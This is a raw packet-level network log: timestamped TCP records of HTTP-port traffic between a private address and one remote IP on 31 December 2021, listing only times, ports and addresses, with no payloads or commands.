Dec 31, 2021 19:13:26.914191008 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914237022 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914239883 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.914277077 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914320946 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914326906 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.914366961 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914407969 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914422989 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.914452076 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914498091 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914506912 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.914540052 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914583921 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914594889 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.914627075 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914669991 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914679050 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.914714098 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914756060 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914769888 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.914800882 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914840937 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914861917 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.914890051 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.914896011 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.915386915 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.917728901 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.917773008 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.917810917 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.917851925 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.917881012 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.917903900 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.917903900 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.917944908 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.917985916 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918031931 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918035030 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918073893 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918122053 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918122053 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918163061 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918210030 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918210030 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918251038 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918296099 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918298006 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918337107 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918394089 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918397903 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918437004 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918484926 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918484926 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918555021 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918600082 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918606997 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918643951 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918688059 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918690920 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918730974 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918777943 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918780088 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918818951 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918867111 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918867111 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918909073 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918952942 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.918958902 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.918997049 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919040918 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919045925 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919085979 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919131041 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919133902 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919172049 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919215918 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919219017 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919261932 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919307947 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919312000 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919349909 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919394016 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919406891 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919436932 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919481993 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919490099 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919524908 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919569969 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919574976 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919611931 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919656038 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919662952 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919701099 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919744015 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919751883 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919787884 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919832945 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919836998 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919872046 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919917107 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.919919014 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.919958115 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920003891 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920005083 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920047998 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920092106 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920093060 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920134068 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920181036 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920190096 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920228958 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920277119 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920278072 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920327902 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920377016 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920377970 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920419931 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920464039 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920468092 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920505047 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920552015 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920552969 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920593023 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920649052 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920665979 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920686007 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920710087 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920736074 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920739889 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920761108 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920778036 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920778990 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920804977 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920833111 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920866013 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920869112 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920898914 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920918941 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920933008 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920944929 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920969009 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.920973063 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920989037 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.920991898 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921017885 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921017885 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921034098 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921041965 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921051979 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921066046 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921089888 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921099901 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921113014 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921130896 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921135902 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921150923 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921169043 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921181917 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921190977 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921217918 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921217918 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921247959 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921253920 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921261072 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921281099 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921318054 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921355963 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921356916 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921371937 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921392918 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921417952 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921426058 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921428919 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921456099 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921468019 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921479940 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921503067 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921504974 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921519995 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921528101 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921546936 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921550989 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921576977 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921578884 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921587944 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921598911 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921612024 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921622992 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921647072 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921648979 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921662092 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921669006 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921681881 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921691895 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921719074 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921739101 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921745062 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921758890 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921767950 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921793938 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921799898 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921809912 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921829939 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921843052 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921855927 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921880007 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921881914 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921906948 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921907902 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921927929 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921937943 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921952963 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921955109 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921977043 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921978951 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.921993971 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.921999931 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922019958 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922025919 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922035933 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922048092 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922068119 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922094107 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922102928 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922116995 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922139883 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922153950 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922157049 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922198057 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922199011 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922223091 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922241926 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922262907 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922266960 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922291040 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922291994 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922316074 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922316074 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922334909 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922341108 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922358036 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922363997 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922384977 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922409058 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922411919 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922431946 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922434092 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922458887 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922470093 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922482967 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922489882 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922507048 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922508001 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922530890 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922533989 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922552109 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922564983 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922593117 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922593117 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922605038 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922616005 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922626972 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922638893 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922658920 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922681093 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922688007 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922710896 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922713041 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922734022 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922739029 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922765970 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922776937 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922791958 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922792912 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922816038 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922828913 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922841072 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922847033 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922864914 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922867060 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922889948 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922892094 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922900915 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922915936 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922934055 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922957897 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.922960043 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922979116 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.922981977 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923007011 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923013926 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923026085 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923029900 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923041105 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923053026 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923070908 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923075914 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923091888 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923099041 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923125029 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923127890 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923135996 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923146009 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923158884 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923171043 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923190117 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923196077 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923214912 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923233986 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923255920 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923258066 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923281908 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923283100 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923306942 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923329115 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923341990 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923343897 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923357964 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923367977 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923377037 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923388958 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923410892 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923429966 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923434019 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923460007 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923460007 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923485041 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923489094 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923500061 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923507929 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923518896 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923530102 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923552990 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923556089 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923566103 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923577070 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923593044 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.923608065 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923628092 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.923650980 CET	80	49845	91.243.44.128	192.168.2.3
